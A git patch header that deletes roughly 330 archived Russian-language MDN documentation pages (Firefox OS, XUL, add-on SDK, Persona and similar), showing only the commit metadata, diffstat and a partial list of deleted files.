From a065e04d529da1d847b5062a12c46d916408bf32 Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Tue, 8 Dec 2020 21:46:22 -0500 Subject: update based on https://github.com/mdn/yari/issues/2028 --- files/ru/_wikihistory.json | 25916 ------------------- files/ru/archive/add-ons/index.html | 9 - .../index.html | 292 - .../index.html | 105 - .../archive/add-ons/session_store_api/index.html | 87 - files/ru/archive/apps/advanced_topics/index.html | 73 - files/ru/archive/apps/index.html | 8 - files/ru/archive/b2g_os/add-ons/index.html | 57 - files/ru/archive/b2g_os/apps/index.html | 55 - .../writing_a_web_app_for_firefox_os_ru/index.html | 44 - .../ru/archive/b2g_os/automated_testing/index.html | 81 - .../b2g_os/automated_testing/mtbf_tests/index.html | 235 - .../firefox_os_build_process_summary/index.html | 149 - .../building_and_installing_firefox_os/index.html | 60 - .../debugging_b2g_using_valgrind/index.html | 177 - files/ru/archive/b2g_os/debugging/index.html | 62 - .../filing_bugs_against_firefox_os/index.html | 181 - .../b2g_os/developing_firefox_os/index.html | 50 - .../index.html" | 183 - .../building_apps_for_firefox_os/index.html | 353 - .../index.html" | 264 - .../firefox_os_apps/building_blocks/index.html | 179 - files/ru/archive/b2g_os/firefox_os_apps/index.html | 85 - .../localization/developing_bidi_apps/index.html | 80 - .../b2g_os/firefox_os_apps/localization/index.html | 93 - .../firefox_os_build_prerequisites/index.html | 258 - files/ru/archive/b2g_os/firefox_os_faq/index.html | 39 - files/ru/archive/b2g_os/index.html | 225 - files/ru/archive/b2g_os/introduction/index.html | 36 - .../ru/archive/b2g_os/phone_guide/flame/index.html | 72 - .../flame/updating_your_flam/index.html | 506 - files/ru/archive/b2g_os/phone_guide/index.html | 74 - .../b2g_os/platform/architecture/index.html | 718 - files/ru/archive/b2g_os/platform/gaia/index.html | 82 - .../index.html" | 55 - files/ru/archive/b2g_os/platform/gonk/index.html | 103 - files/ru/archive/b2g_os/platform/index.html | 82 - .../preparing_for_your_first_b2g_build/index.html | 247 - files/ru/archive/b2g_os/quickstart/index.html | 51 - .../b2g_os/quickstart/your_first_app/index.html | 267 - files/ru/archive/b2g_os/releases/2.0/index.html | 27 - files/ru/archive/b2g_os/releases/index.html | 24 - files/ru/archive/b2g_os/simulator/index.html | 111 - .../b2g_os/using_the_app_manager/index.html | 315 - .../b2g_os/using_the_b2g_desktop_client/index.html | 115 - .../b2g_os/using_the_b2g_emulators/index.html | 183 - .../index.html" | 49 - .../index.html" | 410 - files/ru/archive/css3/index.html | 974 - files/ru/archive/events/index.html | 13 - files/ru/archive/index.html | 21 - files/ru/archive/mdn/index.html | 16 - files/ru/archive/misc_top_level/index.html | 11 - .../index.html | 1679 -- .../mozilla/getting_started_with_irc/index.html | 315 - files/ru/archive/mozilla/index.html | 10 - .../archive/mozilla/javascript_crypto/index.html | 275 - .../ru/archive/mozilla/persona/branding/index.html | 42 - files/ru/archive/mozilla/persona/index.html | 138 - .../mozilla/persona/protocol_overview/index.html | 61 - .../archive/mozilla/persona/quick_setup/index.html | 140 - .../archive/mozilla/persona/why_persona/index.html | 63 - .../index.html" | 53 - .../index.html" | 86 - files/ru/archive/mozilla/xulrunner/index.html | 104 - files/ru/archive/rss/index.html | 16 - .../security/encryption_and_decryption/index.html | 78 - files/ru/archive/security/index.html | 14 - files/ru/archive/themes/index.html | 11 - files/ru/archive/web/index.html | 13 - .../ecmascript_7_support_in_mozilla/index.html | 63 - files/ru/archive/web/javascript/index.html | 12 - .../web/javascript/reflect.enumerate/index.html | 74 - .../index.html" | 58 - files/ru/archive/web/liveconnect/index.html | 94 - files/ru/archive/web/xforms/index.html | 105 - .../web/xforms/mozilla_xforms_specials/index.html | 137 - .../web/xforms/user_interface_elements/index.html | 101 - .../user_interface_elements/secret/index.html | 32 - .../index.html | 18 - files/ru/creating_a_firefox_sidebar/index.html | 175 - .../index.html | 160 - files/ru/error_console/index.html | 60 - .../index.html" | 55 - files/ru/firefox_addons_developer_guide/index.html | 15 - .../introduction_to_extensions/index.html | 163 - .../index.html" | 695 - .../index.html | 80 - .../index.html" | 369 - files/ru/gecko_faq/index.html | 53 - files/ru/gecko_sdk/index.html | 110 - files/ru/generating_guids/index.html | 75 - .../manipulating_bookmarks_using_places/index.html | 109 - .../index.html" | 116 - .../index.html" | 32 - files/ru/mdn/user_guide/writing/index.html | 49 - .../mdn/user_guide/zone_administration/index.html | 207 - files/ru/midas/index.html | 328 - files/ru/midas/security_preferences/index.html | 48 - .../mozilla/add-ons/add-on_guidelines/index.html | 121 - files/ru/mozilla/add-ons/amo/index.html | 11 - files/ru/mozilla/add-ons/amo/policy/index.html | 22 - files/ru/mozilla/add-ons/code_snippets/index.html | 148 - .../\320\272\321\203\320\272\320\270/index.html" | 36 - .../mozilla/add-ons/firefox_for_android/index.html | 82 - .../index.html | 395 - .../mozilla/add-ons/overlay_extensions/index.html | 65 - files/ru/mozilla/add-ons/sdk/guides/index.html | 365 - .../index.html" | 519 - .../sdk/high-level_apis/addon-page/index.html | 32 - .../sdk/high-level_apis/context-menu/index.html | 578 - .../mozilla/add-ons/sdk/high-level_apis/index.html | 10 - .../sdk/high-level_apis/passwords/index.html | 525 - files/ru/mozilla/add-ons/sdk/index.html | 90 - .../mozilla/add-ons/sdk/low-level_apis/index.html | 23 - .../sdk/low-level_apis/places_bookmarks/index.html | 595 - .../mozilla/add-ons/sdk/tools/console/index.html | 110 - files/ru/mozilla/add-ons/sdk/tools/index.html | 10 - files/ru/mozilla/add-ons/sdk/tools/jpm/index.html | 497 - .../sdk/tutorials/getting_started_(jpm)/index.html | 157 - files/ru/mozilla/add-ons/sdk/tutorials/index.html | 145 - .../add-ons/sdk/tutorials/installation/index.html | 68 - .../creating_annotations/index.html" | 221 - .../implementing_the_widget/index.html" | 68 - .../index.html" | 34 - .../overview/index.html" | 34 - .../index.html" | 94 - .../index.html" | 61 - .../index.html" | 14 - .../index.html" | 353 - .../index.html" | 102 - files/ru/mozilla/bugzilla/index.html | 54 - files/ru/mozilla/chrome_registration/index.html | 358 - files/ru/mozilla/command_line_options/index.html | 473 - files/ru/mozilla/connect/index.html | 114 - files/ru/mozilla/connect_clone/index.html | 93 - .../developer_guide/using_the_vm/index.html | 89 - .../mozilla/firefox/developer_edition/index.html | 57 - .../index.html" | 25 - files/ru/mozilla/firefox/firefox_esr/index.html | 15 - files/ru/mozilla/firefox/privacy/index.html | 9 - .../errors/cookieblockedforeign/index.html | 43 - .../errors/cookieblockedtracker/index.html | 38 - .../storage_access_policy/errors/index.html | 24 - .../privacy/storage_access_policy/index.html | 274 - .../firefox/privacy/tracking_protection/index.html | 43 - .../index.html" | 56 - files/ru/mozilla/gecko/index.html | 61 - files/ru/mozilla/gecko/script_security/index.html | 164 - files/ru/mozilla/localization/index.html | 20 - .../localizing_with_verbatim/index.html | 162 - .../localization/quick_start_guide/index.html | 50 - .../localization/web_localizability/index.html | 19 - .../localization_formats/index.html | 171 - .../index.html" | 124 - files/ru/mozilla/marketplace/index.html | 103 - .../marketplace/options/packaged_apps/index.html | 66 - .../index.html" | 31 - .../prepare/deciding_what_to_build/index.html | 35 - .../marketplace/publishing/submit/index.html | 10 - .../submit/rating_your_content/index.html | 121 - .../publishing/updating_apps/index.html | 48 - files/ru/mozilla/marketplace/submission/index.html | 9 - files/ru/mozilla/mathml_project/index.html | 74 - .../mathml_project/mathml_torture_test/index.html | 4174 --- files/ru/mozilla/mathml_project/status/index.html | 341 - files/ru/mozilla/mobile/index.html | 30 - .../ru/mozilla/mobile/viewport_meta_tag/index.html | 86 - .../mozilla/multiple_firefox_profiles/index.html | 117 - .../performance/about_colon_memory/index.html | 190 - files/ru/mozilla/performance/index.html | 129 - files/ru/mozilla/preferences/index.html | 48 - .../preferences/preference_reference/index.html | 14 - .../javascript.options.showinconsole/index.html | 33 - files/ru/mozilla/projects/emscripten/index.html | 37 - files/ru/mozilla/projects/index.html | 14 - .../projects/nss/nss_sample_code/index.html | 33 - .../index.html | 255 - .../projects/nss/reference/fc_login/index.html | 53 - files/ru/mozilla/projects/nss/reference/index.html | 161 - files/ru/mozilla/projects/webreplay/index.html | 217 - .../mozilla/setting_up_an_update_server/index.html | 91 - files/ru/mozilla/tech/index.html | 14 - files/ru/mozilla/tech/places/index.html | 77 - files/ru/mozilla/tech/xpcom/index.html | 47 - files/ru/mozilla/tech/xpcom/reference/index.html | 21 - .../tech/xpcom/reference/interface/index.html | 17 - .../interface/nsidomhtmlmediaelement/index.html | 29 - .../reference/interface/nsiloginmanager/index.html | 372 - .../using_nsiloginmanager/index.html | 169 - files/ru/mozilla/tech/xul/action/index.html | 117 - .../mozilla/tech/xul/attribute/disabled/index.html | 38 - .../mozilla/tech/xul/attribute/hidden/index.html | 26 - files/ru/mozilla/tech/xul/attribute/index.html | 9 - files/ru/mozilla/tech/xul/index.html | 93 - .../tech/xul/property/dateleadingzero/index.html | 15 - .../tech/xul/property/datepicker.value/index.html | 15 - files/ru/mozilla/tech/xul/property/index.html | 295 - .../tech/xul/property/selectionstart/index.html | 16 - files/ru/mozilla/tech/xul/tabbrowser/index.html | 235 - .../autocheck/index.html" | 12 - .../autoscroll/index.html" | 12 - .../index.html" | 270 - .../index.html" | 185 - .../index.html" | 142 - .../keyboard_shortcuts/index.html" | 392 - .../index.html" | 58 - .../index.html" | 83 - .../index.html" | 76 - .../index.html" | 7 - .../index.html" | 157 - .../actions/index.html" | 88 - .../index.html" | 55 - .../index.html" | 34 - .../index.html" | 65 - .../index.html" | 49 - .../index.html" | 64 - .../index.html" | 59 - .../index.html" | 87 - .../index.html" | 161 - .../index.html" | 33 - files/ru/mozilla/thunderbird/index.html | 75 - .../index.html" | 141 - files/ru/mozilla/xpi/index.html | 33 - .../index.html" | 29 - files/ru/new_compatibility_tables_beta/index.html | 24 - files/ru/nsiobserver/index.html | 68 - files/ru/nsioutputstream/index.html | 6 - files/ru/nsioutputstream/writefrom/index.html | 49 - files/ru/nspr/index.html | 69 - files/ru/nss/index.html | 180 - files/ru/nss/overview/index.html | 71 - files/ru/plugins/index.html | 120 - files/ru/qa/index.html | 58 - .../index.html" | 31 - .../index.html" | 230 - files/ru/rdf/index.html | 58 - files/ru/rhino/documentation/index.html | 83 - files/ru/rhino/download_rhino/index.html | 106 - files/ru/rhino/embedding_tutorial/index.html | 302 - files/ru/rhino/index.html | 22 - files/ru/sandbox/index.html | 212 - .../index.html" | 7 - .../index.html | 169 - files/ru/social_api/index.html | 67 - files/ru/spidermonkey/index.html | 79 - files/ru/themes-840092-dup/background/index.html | 98 - files/ru/themes-840092-dup/index.html | 87 - files/ru/tools/webide/index.html | 252 - files/ru/tools/webide/monitor/index.html | 110 - .../ru/tools/webide/setting_up_runtimes/index.html | 132 - files/ru/tools/webide/troubleshooting/index.html | 155 - .../index.html" | 29 - .../index.html" | 123 - .../ru/web/accessibility/at-apis/gecko/index.html | 9 - .../accessibility/at-apis/gecko/roles/index.html | 498 - .../at-apis/gecko/roles/role_document/index.html | 31 - .../gecko/roles/role_password_text/index.html | 27 - files/ru/web/accessibility/at-apis/index.html | 176 - files/ru/web/api/devicestorage/index.html | 87 - files/ru/web/api/fmradio/index.html | 94 - files/ru/web/api/identitymanager/index.html | 47 - .../ru/web/api/identitymanager/request/index.html | 88 - .../ru/web/api/navigator/getdatastores/index.html | 58 - files/ru/web/api/navigator/id/index.html | 20 - .../navigator/mozaudiochannelmanager/index.html | 32 - files/ru/web/api/navigator/mozcamera/index.html | 43 - files/ru/web/api/navigator/mozl10n/index.html | 38 - files/ru/web/api/navigator/moznfc/index.html | 43 - files/ru/web/api/webfm_api/index.html | 156 - files/ru/web/css/-moz-binding/index.html | 115 - .../ru/web/events/dommodaldialogclosed/index.html | 63 - files/ru/web/events/domsubtreemodified/index.html | 21 - .../guide/liveconnect_overview/index.html | 795 - .../javascript/new_in_javascript/1.5/index.html | 37 - .../javascript/new_in_javascript/1.6/index.html | 32 - .../javascript/new_in_javascript/1.8.1/index.html | 31 - .../javascript/new_in_javascript/1.8.5/index.html | 122 - .../javascript/new_in_javascript/1.8/index.html | 38 - .../ecmascript_5_support_in_mozilla/index.html | 46 - .../ecmascript_6_support_in_mozilla/index.html | 222 - .../ru/web/javascript/new_in_javascript/index.html | 80 - .../functions/arguments/caller/index.html | 100 - .../global_objects/array/observe/index.html | 138 - .../global_objects/date/tolocaleformat/index.html | 73 - .../global_objects/function/arity/index.html | 30 - .../global_objects/function/isgenerator/index.html | 83 - .../reference/global_objects/iterator/index.html | 138 - .../global_objects/number/tointeger/index.html | 94 - .../global_objects/object/count/index.html | 83 - .../global_objects/object/eval/index.html | 81 - .../global_objects/object/getnotifier/index.html | 47 - .../global_objects/object/nosuchmethod/index.html | 195 - .../global_objects/object/observe/index.html | 142 - .../global_objects/object/parent/index.html | 75 - .../global_objects/object/unobserve/index.html | 97 - .../global_objects/object/unwatch/index.html | 93 - .../global_objects/object/watch/index.html | 168 - .../global_objects/parallelarray/index.html | 52 - .../global_objects/string/quote/index.html | 124 - .../operators/array_comprehensions/index.html | 241 - .../operators/expression_closures/index.html | 118 - .../operators/generator_comprehensions/index.html | 229 - .../reference/statements/for_each...in/index.html | 126 - files/ru/xpcom/language_bindings/index.html | 35 - files/ru/xpinstall/index.html | 60 - .../index.html | 43 - .../index.html | 107 - files/ru/xul_school/index.html | 79 - files/ru/xul_school/introduction/index.html | 33 - .../the_essentials_of_an_extension/index.html | 456 - .../index.html" | 99 - .../index.html" | 138 - .../index.html" | 214 - .../index.html" | 93 - .../index.html" | 124 - .../index.html" | 237 - files/ru/xul_tutorial/creating_a_window/index.html | 107 - files/ru/xul_tutorial/index.html | 9 - files/ru/xul_tutorial/manifest_files/index.html | 126 - files/ru/xul_tutorial/the_chrome_url/index.html | 35 - files/ru/xul_tutorial/xul_structure/index.html | 153 - .../index.html" | 61 - .../index.html" | 122 - .../index.html" | 61 - files/ru/zones/index.html | 51 - .../index.html" | 72 - .../index.html" | 162 - .../index.html" | 14 - .../index.html" | 271 - 330 files changed, 70801 deletions(-) delete mode 100644 files/ru/_wikihistory.json delete mode 100644 files/ru/archive/add-ons/index.html delete mode 100644 files/ru/archive/add-ons/interaction_between_privileged_and_non-privileged_pages/index.html delete mode 100644 files/ru/archive/add-ons/listening_to_events_in_firefox_extensions/index.html delete mode 100644 files/ru/archive/add-ons/session_store_api/index.html delete mode 100644 files/ru/archive/apps/advanced_topics/index.html delete mode 100644 files/ru/archive/apps/index.html delete mode 100644 files/ru/archive/b2g_os/add-ons/index.html delete mode 100644 files/ru/archive/b2g_os/apps/index.html delete mode 100644 files/ru/archive/b2g_os/apps/writing_a_web_app_for_firefox_os_ru/index.html delete mode 100644 files/ru/archive/b2g_os/automated_testing/index.html delete mode 100644 files/ru/archive/b2g_os/automated_testing/mtbf_tests/index.html delete mode 100644 files/ru/archive/b2g_os/building_and_installing_firefox_os/firefox_os_build_process_summary/index.html delete mode 100644 files/ru/archive/b2g_os/building_and_installing_firefox_os/index.html delete mode 100644 files/ru/archive/b2g_os/debugging/debugging_b2g_using_valgrind/index.html delete mode 100644 files/ru/archive/b2g_os/debugging/index.html delete mode 100644 files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html delete mode 100644 files/ru/archive/b2g_os/developing_firefox_os/index.html delete mode 100644 "files/ru/archive/b2g_os/developing_firefox_os/\320\277\320\276\321\200\321\202\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" delete mode 100644 files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/index.html delete mode 100644 "files/ru/archive/b2g_os/firefox_os_apps/building_apps_for_firefox_os/\320\274\320\260\320\275\320\270\321\204\320\265\321\201\321\202/index.html" delete mode 100644 files/ru/archive/b2g_os/firefox_os_apps/building_blocks/index.html delete mode 100644 files/ru/archive/b2g_os/firefox_os_apps/index.html delete mode 100644 files/ru/archive/b2g_os/firefox_os_apps/localization/developing_bidi_apps/index.html delete mode 100644 files/ru/archive/b2g_os/firefox_os_apps/localization/index.html delete mode 100644 files/ru/archive/b2g_os/firefox_os_build_prerequisites/index.html delete mode 100644 files/ru/archive/b2g_os/firefox_os_faq/index.html delete mode 100644 files/ru/archive/b2g_os/index.html delete mode 100644 files/ru/archive/b2g_os/introduction/index.html delete mode 100644 files/ru/archive/b2g_os/phone_guide/flame/index.html delete mode 100644 files/ru/archive/b2g_os/phone_guide/flame/updating_your_flam/index.html delete mode 100644 files/ru/archive/b2g_os/phone_guide/index.html delete mode 100644 files/ru/archive/b2g_os/platform/architecture/index.html delete mode 100644 files/ru/archive/b2g_os/platform/gaia/index.html delete mode 100644 "files/ru/archive/b2g_os/platform/gaia/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_gaia/index.html" delete mode 100644 files/ru/archive/b2g_os/platform/gonk/index.html delete mode 100644 files/ru/archive/b2g_os/platform/index.html delete mode 100644 files/ru/archive/b2g_os/preparing_for_your_first_b2g_build/index.html delete mode 100644 files/ru/archive/b2g_os/quickstart/index.html delete mode 100644 files/ru/archive/b2g_os/quickstart/your_first_app/index.html delete mode 100644 files/ru/archive/b2g_os/releases/2.0/index.html delete mode 100644 files/ru/archive/b2g_os/releases/index.html delete mode 100644 files/ru/archive/b2g_os/simulator/index.html delete mode 100644 files/ru/archive/b2g_os/using_the_app_manager/index.html delete mode 100644 files/ru/archive/b2g_os/using_the_b2g_desktop_client/index.html delete mode 100644 files/ru/archive/b2g_os/using_the_b2g_emulators/index.html delete mode 100644 "files/ru/archive/b2g_os/\321\200\320\260\320\267\320\262\320\270\321\202\320\270\320\265_\321\202\320\265\320\274/index.html" delete mode 100644 "files/ru/archive/b2g_os/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265/index.html" delete mode 100644 files/ru/archive/css3/index.html delete mode 100644 files/ru/archive/events/index.html delete mode 100644 files/ru/archive/index.html delete mode 100644 files/ru/archive/mdn/index.html delete mode 100644 files/ru/archive/misc_top_level/index.html delete mode 100644 files/ru/archive/misc_top_level/mcd,_mission_control_desktop_aka_autoconfig/index.html delete mode 100644 files/ru/archive/mozilla/getting_started_with_irc/index.html delete mode 100644 files/ru/archive/mozilla/index.html delete mode 100644 files/ru/archive/mozilla/javascript_crypto/index.html delete mode 100644 files/ru/archive/mozilla/persona/branding/index.html delete mode 100644 files/ru/archive/mozilla/persona/index.html delete mode 100644 files/ru/archive/mozilla/persona/protocol_overview/index.html delete mode 100644 files/ru/archive/mozilla/persona/quick_setup/index.html delete mode 100644 files/ru/archive/mozilla/persona/why_persona/index.html delete mode 100644 "files/ru/archive/mozilla/persona/\320\270\320\275\321\202\320\265\321\200\320\275\320\260\321\206\320\270\320\276\320\275\320\260\320\273\320\270\320\267\320\260\321\206\320\270\321\217/index.html" delete mode 100644 "files/ru/archive/mozilla/persona/\320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\320\260_\320\261\321\200\320\260\321\203\320\267\320\265\321\200\320\276\320\262/index.html" delete mode 100644 files/ru/archive/mozilla/xulrunner/index.html delete mode 100644 files/ru/archive/rss/index.html delete mode 100644 files/ru/archive/security/encryption_and_decryption/index.html delete mode 100644 files/ru/archive/security/index.html delete mode 100644 files/ru/archive/themes/index.html delete mode 100644 files/ru/archive/web/index.html delete mode 100644 files/ru/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html delete mode 100644 files/ru/archive/web/javascript/index.html delete mode 100644 files/ru/archive/web/javascript/reflect.enumerate/index.html delete mode 100644 "files/ru/archive/web/javascript/\321\204\321\203\320\275\320\272\321\206\320\270\321\217_\320\275\320\260\321\201\320\273\320\265\320\264\320\276\320\262\320\260\320\275\320\270\321\217_\320\263\320\265\320\275\320\265\321\200\320\260\321\202\320\276\321\200\320\260/index.html" delete mode 100644 files/ru/archive/web/liveconnect/index.html delete mode 100644 files/ru/archive/web/xforms/index.html delete mode 100644 files/ru/archive/web/xforms/mozilla_xforms_specials/index.html delete mode 100644 files/ru/archive/web/xforms/user_interface_elements/index.html delete mode 100644 files/ru/archive/web/xforms/user_interface_elements/secret/index.html delete mode 100644 files/ru/bypassing_security_restrictions_and_signing_code/index.html delete mode 100644 files/ru/creating_a_firefox_sidebar/index.html delete mode 100644 files/ru/creating_a_skin_for_firefox_getting_started/index.html delete mode 100644 files/ru/error_console/index.html delete mode 100644 "files/ru/faq_\320\277\320\276_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217\320\274/index.html" delete mode 100644 files/ru/firefox_addons_developer_guide/index.html delete mode 100644 files/ru/firefox_addons_developer_guide/introduction_to_extensions/index.html delete mode 100644 "files/ru/firefox_addons_developer_guide/introduction_to_xul\342\200\224how_to_build_a_more_intuitive_ui/index.html" delete mode 100644 files/ru/firefox_addons_developer_guide/technologies_used_in_developing_extensions/index.html delete mode 100644 "files/ru/firefox_addons_developer_guide/using_xpcom\342\200\224implementing_advanced_processes/index.html" delete mode 100644 files/ru/gecko_faq/index.html delete mode 100644 files/ru/gecko_sdk/index.html delete mode 100644 files/ru/generating_guids/index.html delete mode 100644 files/ru/manipulating_bookmarks_using_places/index.html delete mode 100644 "files/ru/mdn/contribute/howto/\320\277\321\200\320\270\320\262\321\217\320\267\320\272\320\260_github_\320\260\320\272\320\272\320\260\321\203\320\275\321\202\320\260/index.html" delete mode 100644 "files/ru/mdn/contribute/\320\262\321\205\320\276\320\264_\321\207\320\265\321\200\320\265\320\267_persona/index.html" delete mode 100644 files/ru/mdn/user_guide/writing/index.html delete mode 100644 files/ru/mdn/user_guide/zone_administration/index.html delete mode 100644 files/ru/midas/index.html delete mode 100644 files/ru/midas/security_preferences/index.html delete mode 100644 files/ru/mozilla/add-ons/add-on_guidelines/index.html delete mode 100644 files/ru/mozilla/add-ons/amo/index.html delete mode 100644 files/ru/mozilla/add-ons/amo/policy/index.html delete mode 100644 files/ru/mozilla/add-ons/code_snippets/index.html delete mode 100644 "files/ru/mozilla/add-ons/code_snippets/\320\272\321\203\320\272\320\270/index.html" delete mode 100644 files/ru/mozilla/add-ons/firefox_for_android/index.html delete mode 100644 files/ru/mozilla/add-ons/how_to_convert_an_overlay_extension_to_restartless/index.html delete mode 100644 files/ru/mozilla/add-ons/overlay_extensions/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/guides/index.html delete mode 100644 "files/ru/mozilla/add-ons/sdk/guides/\321\201\320\272\321\200\320\270\320\277\321\202\321\213_\321\201\320\276\320\264\320\265\321\200\320\266\320\270\320\274\320\276\320\263\320\276/index.html" delete mode 100644 files/ru/mozilla/add-ons/sdk/high-level_apis/addon-page/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/high-level_apis/context-menu/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/high-level_apis/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/high-level_apis/passwords/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/low-level_apis/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/low-level_apis/places_bookmarks/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/tools/console/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/tools/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/tools/jpm/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/tutorials/getting_started_(jpm)/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/tutorials/index.html delete mode 100644 files/ru/mozilla/add-ons/sdk/tutorials/installation/index.html delete mode 100644 "files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/creating_annotations/index.html" delete mode 100644 "files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/implementing_the_widget/index.html" delete mode 100644 "files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/index.html" delete mode 100644 "files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/overview/index.html" delete mode 100644 "files/ru/mozilla/add-ons/sdk/tutorials/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\272\320\275\320\276\320\277\320\272\320\270_\320\275\320\260_\320\277\320\260\320\275\320\265\320\273\321\214_\320\270\320\275\321\201\321\202\321\200\321\203\320\274\320\265\320\275\321\202\320\276\320\262/index.html" delete mode 100644 "files/ru/mozilla/add-ons/sdk/tutorials/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" delete mode 100644 "files/ru/mozilla/add-ons/sdk/\320\277\321\200\320\276\320\261\320\260/index.html" delete mode 100644 "files/ru/mozilla/add-ons/\320\267\320\260\320\263\321\200\321\203\320\267\320\276\321\207\320\275\321\213\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" delete mode 100644 "files/ru/mozilla/add-ons/\321\200\320\265\320\272\320\276\320\274\320\265\320\275\320\264\320\260\321\206\320\270\320\270_\320\277\320\276_\320\277\320\276\320\262\321\213\321\210\320\265\320\275\320\270\321\216_\320\277\321\200\320\276\320\270\320\267\320\262\320\276\320\264\320\270\321\202\320\265\320\273\321\214\320\275\320\276\321\201\321\202\320\270_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\320\271/index.html" delete mode 100644 files/ru/mozilla/bugzilla/index.html delete mode 100644 files/ru/mozilla/chrome_registration/index.html delete mode 100644 files/ru/mozilla/command_line_options/index.html delete mode 100644 files/ru/mozilla/connect/index.html delete mode 100644 files/ru/mozilla/connect_clone/index.html delete mode 100644 files/ru/mozilla/developer_guide/using_the_vm/index.html delete mode 100644 files/ru/mozilla/firefox/developer_edition/index.html delete mode 100644 "files/ru/mozilla/firefox/developer_edition/\320\276\321\202\320\272\320\260\321\202/index.html" delete mode 100644 files/ru/mozilla/firefox/firefox_esr/index.html delete mode 100644 files/ru/mozilla/firefox/privacy/index.html delete mode 100644 files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedforeign/index.html delete mode 100644 files/ru/mozilla/firefox/privacy/storage_access_policy/errors/cookieblockedtracker/index.html delete mode 100644 files/ru/mozilla/firefox/privacy/storage_access_policy/errors/index.html delete mode 100644 files/ru/mozilla/firefox/privacy/storage_access_policy/index.html delete mode 100644 files/ru/mozilla/firefox/privacy/tracking_protection/index.html delete mode 100644 "files/ru/mozilla/firefox_\320\264\320\273\321\217_android/index.html" delete mode 100644 files/ru/mozilla/gecko/index.html delete mode 100644 files/ru/mozilla/gecko/script_security/index.html delete mode 100644 files/ru/mozilla/localization/index.html delete mode 100644 files/ru/mozilla/localization/localizing_with_verbatim/index.html delete mode 100644 files/ru/mozilla/localization/quick_start_guide/index.html delete mode 100644 files/ru/mozilla/localization/web_localizability/index.html delete mode 100644 files/ru/mozilla/localization/web_localizability/localization_formats/index.html delete mode 100644 "files/ru/mozilla/localization/\320\273\320\276\320\272\320\260\320\273\320\270\320\267\320\260\321\206\320\270\321\217_\321\201_\320\277\320\276\320\274\320\276\321\211\321\214\321\216_pontoon/index.html" delete mode 100644 files/ru/mozilla/marketplace/index.html delete mode 100644 files/ru/mozilla/marketplace/options/packaged_apps/index.html delete mode 100644 "files/ru/mozilla/marketplace/options/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" delete mode 100644 files/ru/mozilla/marketplace/prepare/deciding_what_to_build/index.html delete mode 100644 files/ru/mozilla/marketplace/publishing/submit/index.html delete mode 100644 files/ru/mozilla/marketplace/publishing/submit/rating_your_content/index.html delete mode 100644 files/ru/mozilla/marketplace/publishing/updating_apps/index.html delete mode 100644 files/ru/mozilla/marketplace/submission/index.html delete mode 100644 files/ru/mozilla/mathml_project/index.html delete mode 100644 files/ru/mozilla/mathml_project/mathml_torture_test/index.html delete mode 100644 files/ru/mozilla/mathml_project/status/index.html delete mode 100644 files/ru/mozilla/mobile/index.html delete mode 100644 files/ru/mozilla/mobile/viewport_meta_tag/index.html delete mode 100644 files/ru/mozilla/multiple_firefox_profiles/index.html delete mode 100644 files/ru/mozilla/performance/about_colon_memory/index.html delete mode 100644 files/ru/mozilla/performance/index.html delete mode 100644 files/ru/mozilla/preferences/index.html delete mode 100644 files/ru/mozilla/preferences/preference_reference/index.html delete mode 100644 files/ru/mozilla/preferences/preference_reference/javascript.options.showinconsole/index.html delete mode 100644 files/ru/mozilla/projects/emscripten/index.html delete mode 100644 files/ru/mozilla/projects/index.html delete mode 100644 files/ru/mozilla/projects/nss/nss_sample_code/index.html delete mode 100644 files/ru/mozilla/projects/nss/nss_sample_code/nss_sample_code_sample_2_initialization_of_nss/index.html delete mode 100644 files/ru/mozilla/projects/nss/reference/fc_login/index.html delete mode 100644 files/ru/mozilla/projects/nss/reference/index.html delete mode 100644 files/ru/mozilla/projects/webreplay/index.html delete mode 100644 files/ru/mozilla/setting_up_an_update_server/index.html delete mode 100644 files/ru/mozilla/tech/index.html delete mode 100644 files/ru/mozilla/tech/places/index.html delete mode 100644 files/ru/mozilla/tech/xpcom/index.html delete mode 100644 files/ru/mozilla/tech/xpcom/reference/index.html delete mode 100644 files/ru/mozilla/tech/xpcom/reference/interface/index.html delete mode 100644 files/ru/mozilla/tech/xpcom/reference/interface/nsidomhtmlmediaelement/index.html delete mode 100644 files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/index.html delete mode 100644 files/ru/mozilla/tech/xpcom/reference/interface/nsiloginmanager/using_nsiloginmanager/index.html delete mode 100644 files/ru/mozilla/tech/xul/action/index.html delete mode 100644 